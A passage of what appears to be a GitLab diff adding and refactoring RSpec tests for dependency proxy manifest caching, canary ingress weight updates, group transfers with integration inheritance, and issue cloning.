+ allow(JWT).to receive(:decode).and_raise(JWT::DecodeError)
+
+ expect { subject }.to raise_error(JWT::DecodeError)
+ end
+
+ it 'raises an error if signature is immature' do
+ allow(JWT).to receive(:decode).and_raise(JWT::ImmatureSignature)
+
+ expect { subject }.to raise_error(JWT::ImmatureSignature)
+ end
+ end
+end
diff --git a/spec/services/dependency_proxy/find_or_create_manifest_service_spec.rb b/spec/services/dependency_proxy/find_or_create_manifest_service_spec.rb
new file mode 100644
index 00000000000..c375e5a2fa3
--- /dev/null
+++ b/spec/services/dependency_proxy/find_or_create_manifest_service_spec.rb
@@ -0,0 +1,83 @@
+# frozen_string_literal: true
+require 'spec_helper'
+
+RSpec.describe DependencyProxy::FindOrCreateManifestService do
+ include DependencyProxyHelpers
+
+ let_it_be(:image) { 'alpine' }
+ let_it_be(:tag) { 'latest' }
+ let_it_be(:dependency_proxy_manifest) { create(:dependency_proxy_manifest, file_name: "#{image}:#{tag}.json") }
+ let(:manifest) { dependency_proxy_manifest.file.read }
+ let(:group) { dependency_proxy_manifest.group }
+ let(:token) { Digest::SHA256.hexdigest('123') }
+ let(:headers) { { 'docker-content-digest' => dependency_proxy_manifest.digest } }
+
+ describe '#execute' do
+ subject { described_class.new(group, image, tag, token).execute }
+
+ context 'when no manifest exists' do
+ let_it_be(:image) { 'new-image' }
+
+ before do
+ stub_manifest_head(image, tag, digest: dependency_proxy_manifest.digest)
+ stub_manifest_download(image, tag, headers: headers)
+ end
+
+ it 'downloads manifest from remote registry if there is no cached one', :aggregate_failures do
+ expect { subject }.to change { group.dependency_proxy_manifests.count }.by(1)
+ expect(subject[:status]).to eq(:success)
+ expect(subject[:manifest]).to be_a(DependencyProxy::Manifest)
+ expect(subject[:manifest]).to be_persisted
+ end
+ end
+
+ context 'when manifest exists' do
+ before do
+ stub_manifest_head(image, tag, digest: dependency_proxy_manifest.digest)
+ end
+
+ shared_examples 'using the cached manifest' do
+ it 'uses cached manifest instead of downloading one', :aggregate_failures do
+ expect(subject[:status]).to eq(:success)
+ expect(subject[:manifest]).to be_a(DependencyProxy::Manifest)
+ expect(subject[:manifest]).to eq(dependency_proxy_manifest)
+ end
+ end
+
+ it_behaves_like 'using the cached manifest'
+
+ context 'when digest is stale' do
+ let(:digest) { 'new-digest' }
+
+ before do
+ stub_manifest_head(image, tag, digest: digest)
+ stub_manifest_download(image, tag, headers: { 'docker-content-digest' => digest })
+ end
+
+ it 'downloads the new manifest and updates the existing record', :aggregate_failures do
+ expect(subject[:status]).to eq(:success)
+ expect(subject[:manifest]).to eq(dependency_proxy_manifest)
+ expect(subject[:manifest].digest).to eq(digest)
+ end
+ end
+
+ context 'failed connection' do
+ before do
+ expect(DependencyProxy::HeadManifestService).to receive(:new).and_raise(Net::OpenTimeout)
+ end
+
+ it_behaves_like 'using the cached manifest'
+
+ context 'and no manifest is cached' do
+ let_it_be(:image) { 'new-image' }
+
+ it 'returns an error', :aggregate_failures do
+ expect(subject[:status]).to eq(:error)
+ expect(subject[:http_status]).to eq(503)
+ expect(subject[:message]).to eq('Failed to download the manifest from the external registry')
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/spec/services/dependency_proxy/head_manifest_service_spec.rb b/spec/services/dependency_proxy/head_manifest_service_spec.rb
new file mode 100644
index 00000000000..7c7ebe4d181
--- /dev/null
+++ b/spec/services/dependency_proxy/head_manifest_service_spec.rb
@@ -0,0 +1,44 @@
+# frozen_string_literal: true
+require 'spec_helper'
+
+RSpec.describe DependencyProxy::HeadManifestService do
+ include DependencyProxyHelpers
+
+ let(:image) { 'alpine' }
+ let(:tag) { 'latest' }
+ let(:token) { Digest::SHA256.hexdigest('123') }
+ let(:digest) { '12345' }
+
+ subject { described_class.new(image, tag, token).execute }
+
+ context 'remote request is successful' do
+ before do
+ stub_manifest_head(image, tag, digest: digest)
+ end
+
+ it { expect(subject[:status]).to eq(:success) }
+ it { expect(subject[:digest]).to eq(digest) }
+ end
+
+ context 'remote request is not found' do
+ before do
+ stub_manifest_head(image, tag, status: 404, body: 'Not found')
+ end
+
+ it { expect(subject[:status]).to eq(:error) }
+ it { expect(subject[:http_status]).to eq(404) }
+ it { expect(subject[:message]).to eq('Not found') }
+ end
+
+ context 'net timeout exception' do
+ before do
+ manifest_link = DependencyProxy::Registry.manifest_url(image, tag)
+
+ stub_full_request(manifest_link, method: :head).to_timeout
+ end
+
+ it { expect(subject[:status]).to eq(:error) }
+ it { expect(subject[:http_status]).to eq(599) }
+ it { expect(subject[:message]).to eq('execution expired') }
+ end
+end
diff --git a/spec/services/dependency_proxy/pull_manifest_service_spec.rb b/spec/services/dependency_proxy/pull_manifest_service_spec.rb
index 030ed9c001b..b760839d1fb 100644
--- a/spec/services/dependency_proxy/pull_manifest_service_spec.rb
+++ b/spec/services/dependency_proxy/pull_manifest_service_spec.rb
@@ -8,26 +8,43 @@ RSpec.describe DependencyProxy::PullManifestService do
let(:tag) { '3.9' }
let(:token) { Digest::SHA256.hexdigest('123') }
let(:manifest) { { foo: 'bar' }.to_json }
+ let(:digest) { '12345' }
+ let(:headers) { { 'docker-content-digest' => digest } }
- subject { described_class.new(image, tag, token).execute }
+ subject { described_class.new(image, tag, token).execute_with_manifest(&method(:check_response)) }
context 'remote request is successful' do
before do
- stub_manifest_download(image, tag)
+ stub_manifest_download(image, tag, headers: headers)
end
- it { expect(subject[:status]).to eq(:success) }
- it { expect(subject[:manifest]).to eq(manifest) }
+ it 'successfully returns the manifest' do
+ def check_response(response)
+ response[:file].rewind
+
+ expect(response[:status]).to eq(:success)
+ expect(response[:file].read).to eq(manifest)
+ expect(response[:digest]).to eq(digest)
+ end
+
+ subject
+ end
end
context 'remote request is not found' do
before do
- stub_manifest_download(image, tag, 404, 'Not found')
+ stub_manifest_download(image, tag, status: 404, body: 'Not found')
end
- it { expect(subject[:status]).to eq(:error) }
- it { expect(subject[:http_status]).to eq(404) }
- it { expect(subject[:message]).to eq('Not found') }
+ it 'returns a 404 not found error' do
+ def check_response(response)
+ expect(response[:status]).to eq(:error)
+ expect(response[:http_status]).to eq(404)
+ expect(response[:message]).to eq('Not found')
+ end
+
+ subject
+ end
end
context 'net timeout exception' do
@@ -37,8 +54,20 @@ RSpec.describe DependencyProxy::PullManifestService do
stub_full_request(manifest_link).to_timeout
end
- it { expect(subject[:status]).to eq(:error) }
- it { expect(subject[:http_status]).to eq(599) }
- it { expect(subject[:message]).to eq('execution expired') }
+ it 'returns a 599 error' do
+ def check_response(response)
+ expect(response[:status]).to eq(:error)
+ expect(response[:http_status]).to eq(599)
+ expect(response[:message]).to eq('execution expired')
+ end
+
+ subject
+ end
+ end
+
+ context 'no block is given' do
+ subject { described_class.new(image, tag, token).execute_with_manifest }
+
+ it { expect { subject }.to raise_error(ArgumentError, 'Block must be provided') }
end
end
diff --git a/spec/services/environments/canary_ingress/update_service_spec.rb b/spec/services/environments/canary_ingress/update_service_spec.rb
new file mode 100644
index 00000000000..31d6f543817
--- /dev/null
+++ b/spec/services/environments/canary_ingress/update_service_spec.rb
@@ -0,0 +1,139 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Environments::CanaryIngress::UpdateService, :clean_gitlab_redis_cache do
+ include KubernetesHelpers
+
+ let_it_be(:project, refind: true) { create(:project) }
+ let_it_be(:maintainer) { create(:user) }
+ let_it_be(:reporter) { create(:user) }
+ let(:user) { maintainer }
+ let(:params) { {} }
+ let(:service) { described_class.new(project, user, params) }
+
+ before_all do
+ project.add_maintainer(maintainer)
+ project.add_reporter(reporter)
+ end
+
+ shared_examples_for 'failed request' do
+ it 'returns an error' do
+ expect(subject[:status]).to eq(:error)
+ expect(subject[:message]).to eq(message)
+ end
+ end
+
+ describe '#execute_async' do
+ subject { service.execute_async(environment) }
+
+ let(:environment) { create(:environment, project: project) }
+ let(:params) { { weight: 50 } }
+ let(:canary_ingress) { ::Gitlab::Kubernetes::Ingress.new(kube_ingress(track: :canary)) }
+
+ context 'when canary_ingress_weight_control feature flag is disabled' do
+ before do
+ stub_feature_flags(canary_ingress_weight_control: false)
+ end
+
+ it_behaves_like 'failed request' do
+ let(:message) { "Feature flag is not enabled on the environment's project." }
+ end
+ end
+
+ context 'when the actor does not have permission to update environment' do
+ let(:user) { reporter }
+
+ it_behaves_like 'failed request' do
+ let(:message) { "You do not have permission to update the environment." }
+ end
+ end
+
+ context 'when weight parameter is invalid' do
+ let(:params) { { weight: 'unknown' } }
+
+ it_behaves_like 'failed request' do
+ let(:message) { 'Canary weight must be specified and valid range (0..100).' }
+ end
+ end
+
+ context 'when no parameters exist' do
+ let(:params) { {} }
+
+ it_behaves_like 'failed request' do
+ let(:message) { 'Canary weight must be specified and valid range (0..100).' }
+ end
+ end
+
+ context 'when environment has a running deployment' do
+ before do
+ allow(environment).to receive(:has_running_deployments?) { true }
+ end
+
+ it_behaves_like 'failed request' do
+ let(:message) { 'There are running deployments on the environment. Please retry later.' }
+ end
+ end
+
+ context 'when canary ingress was updated recently' do
+ before do
+ allow(::Gitlab::ApplicationRateLimiter).to receive(:throttled?) { true }
+ end
+
+ it_behaves_like 'failed request' do
+ let(:message) { "This environment's canary ingress has been updated recently. Please retry later." }
+ end
+ end
+ end
+
+ describe '#execute' do
+ subject { service.execute(environment) }
+
+ let(:environment) { create(:environment, project: project) }
+ let(:params) { { weight: 50 } }
+ let(:canary_ingress) { ::Gitlab::Kubernetes::Ingress.new(kube_ingress(track: :canary)) }
+
+ context 'when canary ingress is present in the environment' do
+ before do
+ allow(environment).to receive(:ingresses) { [canary_ingress] }
+ end
+
+ context 'when patch request succeeds' do
+ let(:patch_data) do
+ {
+ metadata: {
+ annotations: {
+ Gitlab::Kubernetes::Ingress::ANNOTATION_KEY_CANARY_WEIGHT => params[:weight].to_s
+ }
+ }
+ }
+ end
+
+ before do
+ allow(environment).to receive(:patch_ingress).with(canary_ingress, patch_data) { true }
+ end
+
+ it 'returns success' do
+ expect(subject[:status]).to eq(:success)
+ expect(subject[:message]).to be_nil
+ end
+ end
+
+ context 'when patch request does not succeed' do
+ before do
+ allow(environment).to receive(:patch_ingress) { false }
+ end
+
+ it_behaves_like 'failed request' do
+ let(:message) { 'Failed to update the Canary Ingress.' }
+ end
+ end
+ end
+
+ context 'when canary ingress is not present in the environment' do
+ it_behaves_like 'failed request' do
+ let(:message) { 'Canary Ingress does not exist in the environment.' }
+ end
+ end
+ end
+end
diff --git a/spec/services/event_create_service_spec.rb b/spec/services/event_create_service_spec.rb
index 3c67c15f10a..17b2c7b38e1 100644
--- a/spec/services/event_create_service_spec.rb
+++ b/spec/services/event_create_service_spec.rb
@@ -13,7 +13,7 @@ RSpec.describe EventCreateService do
tracking_params = { event_action: event_action, date_from: Date.yesterday, date_to: Date.today }
expect { subject }
- .to change { Gitlab::UsageDataCounters::TrackUniqueEvents.count_unique_events(tracking_params) }
+ .to change { Gitlab::UsageDataCounters::TrackUniqueEvents.count_unique_events(**tracking_params) }
.by(1)
end
end
@@ -386,7 +386,7 @@ RSpec.describe EventCreateService do
counter_class = Gitlab::UsageDataCounters::TrackUniqueEvents
tracking_params = { event_action: event_action, date_from: Date.yesterday, date_to: Date.today }
- expect { subject }.not_to change { counter_class.count_unique_events(tracking_params) }
+ expect { subject }.not_to change { counter_class.count_unique_events(**tracking_params) }
end
end
end
diff --git a/spec/services/files/delete_service_spec.rb b/spec/services/files/delete_service_spec.rb
index 17e4645fde6..3823d027812 100644
--- a/spec/services/files/delete_service_spec.rb
+++ b/spec/services/files/delete_service_spec.rb
@@ -55,7 +55,7 @@ RSpec.describe Files::DeleteService do
context "when the file's last commit sha does not match the supplied last_commit_sha" do
let(:last_commit_sha) { "foo" }
- it "returns a hash with the correct error message and a :error status " do
+ it "returns a hash with the correct error message and a :error status" do
expect { subject.execute }
.to raise_error(Files::UpdateService::FileChangedError,
"You are attempting to delete a file that has been previously updated.")
diff --git a/spec/services/files/update_service_spec.rb b/spec/services/files/update_service_spec.rb
index 84d78b4c2bc..6d7459e0b29 100644
--- a/spec/services/files/update_service_spec.rb
+++ b/spec/services/files/update_service_spec.rb
@@ -34,7 +34,7 @@ RSpec.describe Files::UpdateService do
context "when the file's last commit sha does not match the supplied last_commit_sha" do
let(:last_commit_sha) { "foo" }
- it "returns a hash with the correct error message and a :error status " do
+ it "returns a hash with the correct error message and a :error status" do
expect { subject.execute }
.to raise_error(Files::UpdateService::FileChangedError,
"You are attempting to update a file that has changed since you started editing it.")
@@ -44,7 +44,7 @@ RSpec.describe Files::UpdateService do
context "when the file's last commit sha does match the supplied last_commit_sha" do
let(:last_commit_sha) { Gitlab::Git::Commit.last_for_path(project.repository, project.default_branch, file_path).sha }
- it "returns a hash with the :success status " do
+ it "returns a hash with the :success status" do
results = subject.execute
expect(results[:status]).to match(:success)
@@ -68,7 +68,7 @@ RSpec.describe Files::UpdateService do
end
context "when the last_commit_sha is not supplied" do
- it "returns a hash with the :success status " do
+ it "returns a hash with the :success status" do
results = subject.execute
expect(results[:status]).to match(:success)
diff --git a/spec/services/git/branch_push_service_spec.rb b/spec/services/git/branch_push_service_spec.rb
index 5d73794c1ec..c7bf006dab0 100644
--- a/spec/services/git/branch_push_service_spec.rb
+++ b/spec/services/git/branch_push_service_spec.rb
@@ -718,10 +718,10 @@ RSpec.describe Git::BranchPushService, services: true do
end
shared_examples 'enqueues Jira sync worker' do
- specify do
+ specify :aggregate_failures do
Sidekiq::Testing.fake! do
expect(JiraConnect::SyncBranchWorker).to receive(:perform_async)
- .with(project.id, branch_to_sync, commits_to_sync)
+ .with(project.id, branch_to_sync, commits_to_sync, kind_of(Numeric))
.and_call_original
expect { subject.execute }.to change(JiraConnect::SyncBranchWorker.jobs, :size).by(1)
diff --git a/spec/services/git/tag_hooks_service_spec.rb b/spec/services/git/tag_hooks_service_spec.rb
index 4443c46a414..dae2f63f2f9 100644
--- a/spec/services/git/tag_hooks_service_spec.rb
+++ b/spec/services/git/tag_hooks_service_spec.rb
@@ -19,7 +19,7 @@ RSpec.describe Git::TagHooksService, :service do
end
describe 'System hooks' do
- it 'Executes system hooks' do
+ it 'executes system hooks' do
push_data = service.send(:push_data)
expect(project).to receive(:has_active_hooks?).and_return(true)
diff --git a/spec/services/groups/import_export/import_service_spec.rb b/spec/services/groups/import_export/import_service_spec.rb
index f8cb55a9955..0c7765dcd38 100644
--- a/spec/services/groups/import_export/import_service_spec.rb
+++ b/spec/services/groups/import_export/import_service_spec.rb
@@ -110,6 +110,7 @@ RSpec.describe Groups::ImportExport::ImportService do
allow(Gitlab::Import::Logger).to receive(:build).and_return(import_logger)
allow(import_logger).to receive(:error)
allow(import_logger).to receive(:info)
+ allow(import_logger).to receive(:warn)
allow(FileUtils).to receive(:rm_rf).and_call_original
end
@@ -220,6 +221,7 @@ RSpec.describe Groups::ImportExport::ImportService do
allow(Gitlab::Import::Logger).to receive(:build).and_return(import_logger)
allow(import_logger).to receive(:error)
+ allow(import_logger).to receive(:warn)
allow(import_logger).to receive(:info)
allow(FileUtils).to receive(:rm_rf).and_call_original
end
diff --git a/spec/services/groups/transfer_service_spec.rb b/spec/services/groups/transfer_service_spec.rb
index ae04eca3a9f..19b746ade34 100644
--- a/spec/services/groups/transfer_service_spec.rb
+++ b/spec/services/groups/transfer_service_spec.rb
@@ -3,15 +3,15 @@
require 'spec_helper'
RSpec.describe Groups::TransferService do
- let(:user) { create(:user) }
- let(:new_parent_group) { create(:group, :public) }
+ let_it_be(:user) { create(:user) }
+ let_it_be(:new_parent_group) { create(:group, :public) }
let!(:group_member) { create(:group_member, :owner, group: group, user: user) }
let(:transfer_service) { described_class.new(group, user) }
context 'handling packages' do
let_it_be(:group) { create(:group, :public) }
+ let_it_be(:new_group) { create(:group, :public) }
let(:project) { create(:project, :public, namespace: group) }
- let(:new_group) { create(:group, :public) }
before do
group.add_owner(user)
@@ -35,8 +35,8 @@ RSpec.describe Groups::TransferService do
it_behaves_like 'transfer not allowed'
context 'with a project within subgroup' do
- let(:root_group) { create(:group) }
- let(:group) { create(:group, parent: root_group) }
+ let_it_be(:root_group) { create(:group) }
+ let_it_be(:group) { create(:group, parent: root_group) }
before do
root_group.add_owner(user)
@@ -79,8 +79,6 @@ RSpec.describe Groups::TransferService do
shared_examples 'ensuring allowed transfer for a group' do
context "when there's an exception on GitLab shell directories" do
- let(:new_parent_group) { create(:group, :public) }
-
before do
allow_next_instance_of(described_class) do |instance|
allow(instance).to receive(:update_group_attributes).and_raise(Gitlab::UpdatePathError, 'namespace directory cannot be moved')
@@ -101,7 +99,7 @@ RSpec.describe Groups::TransferService do
describe '#execute' do
context 'when transforming a group into a root group' do
- let!(:group) { create(:group, :public, :nested) }
+ let_it_be_with_reload(:group) { create(:group, :public, :nested) }
it_behaves_like 'ensuring allowed transfer for a group'
@@ -115,7 +113,7 @@ RSpec.describe Groups::TransferService do
end
context 'when the user does not have the right policies' do
- let!(:group_member) { create(:group_member, :guest, group: group, user: user) }
+ let_it_be(:group_member) { create(:group_member, :guest, group: group, user: user) }
it "returns false" do
expect(transfer_service.execute(nil)).to be_falsy
@@ -128,7 +126,7 @@ RSpec.describe Groups::TransferService do
end
context 'when there is a group with the same path' do
- let!(:group) { create(:group, :public, :nested, path: 'not-unique') }
+ let_it_be(:group) { create(:group, :public, :nested, path: 'not-unique') }
before do
create(:group, path: 'not-unique')
@@ -145,9 +143,9 @@ RSpec.describe Groups::TransferService do
end
context 'when the group is a subgroup and the transfer is valid' do
- let!(:subgroup1) { create(:group, :private, parent: group) }
- let!(:subgroup2) { create(:group, :internal, parent: group) }
- let!(:project1) { create(:project, :repository, :private, namespace: group) }
+ let_it_be(:subgroup1) { create(:group, :private, parent: group) }
+ let_it_be(:subgroup2) { create(:group, :internal, parent: group) }
+ let_it_be(:project1) { create(:project, :repository, :private, namespace: group) }
before do
transfer_service.execute(nil)
@@ -173,12 +171,12 @@ RSpec.describe Groups::TransferService do
end
context 'when transferring a subgroup into another group' do
- let(:group) { create(:group, :public, :nested) }
+ let_it_be_with_reload(:group) { create(:group, :public, :nested) }
it_behaves_like 'ensuring allowed transfer for a group'
context 'when the new parent group is the same as the previous parent group' do
- let(:group) { create(:group, :public, :nested, parent: new_parent_group) }
+ let_it_be(:group) { create(:group, :public, :nested, parent: new_parent_group) }
it 'returns false' do
expect(transfer_service.execute(new_parent_group)).to be_falsy
@@ -191,7 +189,7 @@ RSpec.describe Groups::TransferService do
end
context 'when the user does not have the right policies' do
- let!(:group_member) { create(:group_member, :guest, group: group, user: user) }
+ let_it_be(:group_member) { create(:group_member, :guest, group: group, user: user) }
it "returns false" do
expect(transfer_service.execute(new_parent_group)).to be_falsy
@@ -221,7 +219,7 @@ RSpec.describe Groups::TransferService do
end
context 'when the parent group has a project with the same path' do
- let!(:group) { create(:group, :public, :nested, path: 'foo') }
+ let_it_be_with_reload(:group) { create(:group, :public, :nested, path: 'foo') }
before do
create(:group_member, :owner, group: new_parent_group, user: user)
@@ -240,8 +238,13 @@ RSpec.describe Groups::TransferService do
end
context 'when the group is allowed to be transferred' do
+ let_it_be(:new_parent_group_integration) { create(:slack_service, group: new_parent_group, project: nil, webhook: 'http://new-group.slack.com') }
+
before do
+ allow(PropagateIntegrationWorker).to receive(:perform_async)
+
create(:group_member, :owner, group: new_parent_group, user: user)
+
transfer_service.execute(new_parent_group)
end
@@ -267,6 +270,30 @@ RSpec.describe Groups::TransferService do
end
end
+ context 'with a group integration' do
+ let_it_be(:instance_integration) { create(:slack_service, :instance, webhook: 'http://project.slack.com') }
+ let(:new_created_integration) { Service.find_by(group: group) }
+
+ context 'with an inherited integration' do
+ let_it_be(:group_integration) { create(:slack_service, group: group, project: nil, webhook: 'http://group.slack.com', inherit_from_id: instance_integration.id) }
+
+ it 'replaces inherited integrations', :aggregate_failures do
+ expect(new_created_integration.webhook).to eq(new_parent_group_integration.webhook)
+ expect(PropagateIntegrationWorker).to have_received(:perform_async).with(new_created_integration.id)
+ expect(Service.count).to eq(3)
+ end
+ end
+
+ context 'with a custom integration' do
+ let_it_be(:group_integration) { create(:slack_service, group: group, project: nil, webhook: 'http://group.slack.com') }
+
+ it 'does not updates the integrations', :aggregate_failures do
+ expect { transfer_service.execute(new_parent_group) }.not_to change { group_integration.webhook }
+ expect(PropagateIntegrationWorker).not_to have_received(:perform_async)
+ end
+ end
+ end
+
it 'updates visibility for the group based on the parent group' do
expect(group.visibility_level).to eq(new_parent_group.visibility_level)
end
@@ -464,7 +491,7 @@ RSpec.describe Groups::TransferService do
end
context 'updated paths' do
- let(:group) { create(:group, :public) }
+ let_it_be_with_reload(:group) { create(:group, :public) }
before do
transfer_service.execute(new_parent_group)
@@ -500,10 +527,10 @@ RSpec.describe Groups::TransferService do
end
context 'resets project authorizations' do
- let(:old_parent_group) { create(:group) }
- let(:group) { create(:group, :private, parent: old_parent_group) }
- let(:new_group_member) { create(:user) }
- let(:old_group_member) { create(:user) }
+ let_it_be(:old_parent_group) { create(:group) }
+ let_it_be_with_reload(:group) { create(:group, :private, parent: old_parent_group) }
+ let_it_be(:new_group_member) { create(:user) }
+ let_it_be(:old_group_member) { create(:user) }
before do
new_parent_group.add_maintainer(new_group_member)
diff --git a/spec/services/incident_management/incidents/create_service_spec.rb b/spec/services/incident_management/incidents/create_service_spec.rb
index 1330f3ae033..4601bd807d0 100644
--- a/spec/services/incident_management/incidents/create_service_spec.rb
+++ b/spec/services/incident_management/incidents/create_service_spec.rb
@@ -37,6 +37,8 @@ RSpec.describe IncidentManagement::Incidents::CreateService do
end
let(:issue) { new_issue }
+
+ include_examples 'has incident label'
end
context 'with default severity' do
diff --git a/spec/services/issues/clone_service_spec.rb b/spec/services/issues/clone_service_spec.rb
new file mode 100644
index 00000000000..512a60b1382
--- /dev/null
+++ b/spec/services/issues/clone_service_spec.rb
@@ -0,0 +1,340 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Issues::CloneService do
+ include DesignManagementTestHelpers
+
+ let_it_be(:user) { create(:user) }
+ let_it_be(:author) { create(:user) }
+ let_it_be(:title) { 'Some issue' }
+ let_it_be(:description) { "Some issue description with mention to #{user.to_reference}" }
+ let_it_be(:group) { create(:group, :private) }
+ let_it_be(:sub_group_1) { create(:group, :private, parent: group) }
+ let_it_be(:sub_group_2) { create(:group, :private, parent: group) }
+ let_it_be(:old_project) { create(:project, namespace: sub_group_1) }
+ let_it_be(:new_project) { create(:project, namespace: sub_group_2) }
+
+ let_it_be(:old_issue, reload: true) do
+ create(:issue, title: title, description: description, project: old_project, author: author)
+ end
+
+ let(:with_notes) { false }
+
+ subject(:clone_service) do
+ described_class.new(old_project, user)
+ end
+
+ shared_context 'user can clone issue' do
+ before do
+ old_project.add_reporter(user)
+ new_project.add_reporter(user)
+ end
+ end
+
+ describe '#execute' do
+ context 'issue movable' do
+ include_context 'user can clone issue'
+
+ context 'generic issue' do
+ let!(:new_issue) { clone_service.execute(old_issue, new_project, with_notes: with_notes) }
+
+ it 'creates a new issue in the selected project' do
+ expect do
+ clone_service.execute(old_issue, new_project)
+ end.to change { new_project.issues.count }.by(1)
+ end
+
+ it 'copies issue title' do
+ expect(new_issue.title).to eq title
+ end
+
+ it 'copies issue description' do
+ expect(new_issue.description).to eq description
+ end
+
+ it 'adds system note to old issue at the end' do
+ expect(old_issue.notes.last.note).to start_with 'cloned to'
+ end
+
+ it 'adds system note to new issue at the end' do
+ expect(new_issue.notes.last.note).to start_with 'cloned from'
+ end
+
+ it 'keeps old issue open' do
+ expect(old_issue.open?).to be true
+ end
+
+ it 'persists new issue' do
+ expect(new_issue.persisted?).to be true
+ end
+
+ it 'persists all changes' do
+ expect(old_issue.changed?).to be false
+ expect(new_issue.changed?).to be false
+ end
+
+ it 'sets the current user as author' do
+ expect(new_issue.author).to eq user
+ end
+
+ it 'creates a new internal id for issue' do
+ expect(new_issue.iid).to be_present
+ end
+
+ it 'preserves create time' do
+ expect(old_issue.created_at.strftime('%D')).to eq new_issue.created_at.strftime('%D')
+ end
+
+ it 'does not copy system notes' do
+ expect(new_issue.notes.count).to eq(1)
+ end
+
+ it 'does not set moved_issue' do
+ expect(old_issue.moved?).to eq(false)
+ end
+
+ context 'when copying comments' do
+ let(:with_notes) { true }
+
+ it 'does not create extra system notes' do
+ new_issue = clone_service.execute(old_issue, new_project, with_notes: with_notes)
+
+ expect(new_issue.notes.count).to eq(old_issue.notes.count)
+ end
+ end
+ end
+
+ context 'issue with award emoji' do
+ let!(:award_emoji) { create(:award_emoji, awardable: old_issue) }
+
+ it 'copies the award emoji' do
+ old_issue.reload
+ new_issue = clone_service.execute(old_issue, new_project)
+
+ expect(old_issue.award_emoji.first.name).to eq new_issue.reload.award_emoji.first.name
+ end
+ end
+
+ context 'issue with milestone' do
+ let(:milestone) { create(:milestone, group: sub_group_1) }
+ let(:new_project) { create(:project, namespace: sub_group_1) }
+
+ let(:old_issue) do
+ create(:issue, title: title, description: description, project: old_project, author: author, milestone: milestone)
+ end
+
+ before do
+ create(:resource_milestone_event, issue: old_issue, milestone: milestone, action: :add)
+ end
+
+ it 'does not create extra milestone events' do
+ new_issue = clone_service.execute(old_issue, new_project)
+
+ expect(new_issue.resource_milestone_events.count).to eq(old_issue.resource_milestone_events.count)
+ end
+ end
+
+ context 'issue with due date' do
+ let(:date) { Date.parse('2020-01-10') }
+
+ let(:old_issue) do
+ create(:issue, title: title, description: description, project: old_project, author: author, due_date: date)
+ end
+
+ before do
+ SystemNoteService.change_due_date(old_issue, old_project, author, old_issue.due_date)
+ end
+
+ it 'keeps the same due date' do
+ new_issue = clone_service.execute(old_issue, new_project)
+
+ expect(new_issue.due_date).to eq(date)
+ end
+ end
+
+ context 'issue with assignee' do
+ let_it_be(:assignee) { create(:user) }
+
+ before do
+ old_issue.assignees = [assignee]
+ end
+
+ it 'preserves assignee with access to the new issue' do
+ new_project.add_reporter(assignee)
+
+ new_issue = clone_service.execute(old_issue, new_project)
+
+ expect(new_issue.assignees).to eq([assignee])
+ end
+
+ it 'ignores assignee without access to the new issue' do
+ new_issue = clone_service.execute(old_issue, new_project)
+
+ expect(new_issue.assignees).to be_empty
+ end
+ end
+
+ context 'issue is confidential' do
+ before do
+ old_issue.update_columns(confidential: true)
+ end
+
+ it 'preserves the confidential flag' do
+ new_issue = clone_service.execute(old_issue, new_project)
+
+ expect(new_issue.confidential).to be true
+ end
+ end
+
+ context 'moving to same project' do
+ it 'also works' do
+ new_issue = clone_service.execute(old_issue, old_project)
+
+ expect(new_issue.project).to eq(old_project)
+ expect(new_issue.iid).not_to eq(old_issue.iid)
+ end
+ end
+
+ context 'project issue hooks' do
+ let!(:hook) { create(:project_hook, project: old_project, issues_events: true) }
+
+ it 'executes project issue hooks' do
+ allow_next_instance_of(WebHookService) do |instance|
+ allow(instance).to receive(:execute)
+ end
+
+ # Ideally, we'd test that `WebHookWorker.jobs.size` increased by 1,
+ # but since the entire spec run takes place in a transaction, we never
+ # actually get to the `after_commit` hook that queues these jobs.
+ expect { clone_service.execute(old_issue, new_project) }
+ .not_to raise_error # Sidekiq::Worker::EnqueueFromTransactionError
+ end
+ end
+
+ # These tests verify that notes are copied. More thorough tests are in
+ # the unit test for Notes::CopyService.
+ context 'issue with notes' do
+ let_it_be(:notes) do
+ [
+ create(:note, noteable: old_issue, project: old_project, created_at: 2.weeks.ago, updated_at: 1.week.ago),
+ create(:note, noteable: old_issue, project: old_project)
+ ]
+ end
+
+ let(:new_issue) { clone_service.execute(old_issue, new_project, with_notes: with_notes) }
+
+ let(:copied_notes) { new_issue.notes.limit(notes.size) } # Remove the system note added by the copy itself
+
+ it 'does not copy notes' do
+ # only the system note
+ expect(copied_notes.order('id ASC').pluck(:note).size).to eq(1)
+ end
+
+ context 'when copying comments' do
+ let(:with_notes) { true }
+
+ it 'copies existing notes in order' do
+ expect(copied_notes.order('id ASC').pluck(:note)).to eq(notes.map(&:note))
+ end
+ end
+ end
+
+ context 'issue with a design', :clean_gitlab_redis_shared_state do
+ let_it_be(:new_project) { create(:project) }
+ let!(:design) { create(:design, :with_lfs_file, issue: old_issue) }
+ let!(:note) { create(:diff_note_on_design, noteable: design, issue: old_issue, project: old_issue.project) }
+ let(:subject) { clone_service.execute(old_issue, new_project) }
+
+ before do
+ enable_design_management
+ end
+
+ it 'calls CopyDesignCollection::QueueService' do
+ expect(DesignManagement::CopyDesignCollection::QueueService).to receive(:new)
+ .with(user, old_issue, kind_of(Issue))
+ .and_call_original
+
+ subject
+ end
+
+ it 'logs if QueueService returns an error', :aggregate_failures do
+ error_message = 'error'
+
+ expect_next_instance_of(DesignManagement::CopyDesignCollection::QueueService) do |service|
+ expect(service).to receive(:execute).and_return(
+ ServiceResponse.error(message: error_message)
+ )
+ end
+ expect(Gitlab::AppLogger).to receive(:error).with(error_message)
+
+ subject
+ end
+
+ # Perform a small integration test to ensure the services and worker
+ # can correctly create designs.
+ it 'copies the design and its notes', :sidekiq_inline, :aggregate_failures do
+ new_issue = subject
+
+ expect(new_issue.designs.size).to eq(1)
+ expect(new_issue.designs.first.notes.size).to eq(1)
+ end
+ end
+ end
+
+ describe 'clone permissions' do
+ let(:clone) { clone_service.execute(old_issue, new_project) }
+
+ context 'target project is pending deletion' do
+ include_context 'user can clone issue'
+
+ before do
+ new_project.update_columns(pending_delete: true)
+ end
+
+ after do
+ new_project.update_columns(pending_delete: false)
+ end
+
+ it { expect { clone }.to raise_error(Issues::CloneService::CloneError, /pending deletion/) }
+ end
+
+ context 'user is reporter in both projects' do
+ include_context 'user can clone issue'
+ it { expect { clone }.not_to raise_error }
+ end
+
+ context 'user is reporter only in new project' do
+ before do
+ new_project.add_reporter(user)
+ end
+
+ it { expect { clone }.to raise_error(StandardError, /permissions/) }
